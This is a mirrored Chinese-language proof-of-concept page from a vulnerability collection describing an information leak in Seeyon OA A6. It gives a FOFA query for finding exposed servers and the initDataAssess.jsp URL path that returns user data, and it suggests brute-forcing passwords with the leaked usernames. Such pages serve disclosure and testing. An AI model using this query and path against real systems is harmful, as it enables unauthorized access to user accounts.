mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-08 12:25:11 +00:00
27 lines
424 B
Markdown
27 lines
424 B
Markdown
|
# 致远OA A6 initDataAssess.jsp 用户敏感信息泄露
|
||
|
|
|
||
|
|
## 洞描述
|
||
|
|
|
||
|
|
致远OA A6 initDataAssess.jsp 存在用户敏感信息泄露
|
||
|
|
|
||
|
|
可以通过得到的用户名爆破用户密码进入后台进一步攻击
|
||
|
|
|
||
|
|
## 漏洞影响
|
||
|
|
|
||
|
|
```
|
||
|
|
致远OA A6
|
||
|
|
```
|
||
|
|
|
||
|
|
## FOFA
|
||
|
|
|
||
|
|
```
|
||
|
|
title="致远A8+协同管理软件.A6"
|
||
|
|
```
|
||
|
|
|
||
|
|
## 漏洞复现
|
||
|
|
|
||
|
|
访问下列URL泄露用户信息
|
||
|
|
|
||
|
|
```
|
||
|
|
http://xxx.xxx.xxx.xxx/yyoa/assess/js/initDataAssess.jsp
|
||
|
|
```
|